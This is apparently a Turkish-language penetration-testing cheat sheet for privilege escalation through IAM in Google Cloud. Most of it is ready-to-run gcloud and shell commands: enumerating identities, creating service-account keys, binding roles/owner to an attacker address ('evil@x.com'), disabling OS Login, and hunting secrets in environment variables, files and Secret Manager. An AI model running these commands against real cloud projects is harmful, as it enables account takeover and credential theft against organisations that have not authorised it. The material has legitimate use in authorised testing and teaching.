GCP - IAM Privesc
GCP privesc
GCP - IAM Privesc — GCP ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Mevcut principal izinlerini (inline/attached/bound) çıkar.
-
PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.
-
Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.
-
Yeni kimlikle hesap/proje etkisini kanıtla.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
gcloud auth listgcloud config get-value projectgcloud auth print-access-token | cut -c1-20Hedef komutlar
Section titled “Hedef komutlar”GCP - IAM Privesc için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
gcloud iam roles list --project PROJECTgcloud organizations get-iam-policy ORGgcloud auth listgcloud config listgcloud projects listgcloud projects get-iam-policy PROJECTgcloud iam service-accounts listgcloud iam service-accounts keys list --iam-account SA@PROJECT.iam.gserviceaccount.comgcloud iam service-accounts keys create key.json --iam-account SA@PROJECT.iam.gserviceaccount.comgcloud projects add-iam-policy-binding PROJECT --member='user:evil@x.com' --role='roles/owner'Yükseltme primitifleri
Section titled “Yükseltme primitifleri”Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.
gcloud projects add-iam-policy-binding PROJECT --member='serviceAccount:SA@PROJECT.iam.gserviceaccount.com' --role='roles/owner'gcloud iam service-accounts get-iam-policy SA@PROJECT.iam.gserviceaccount.comgcloud compute instances add-metadata INST --zone ZONE --metadata enable-oslogin=FALSESecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40gcloud secrets listgcloud secrets versions access latest --secret=SECRETRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt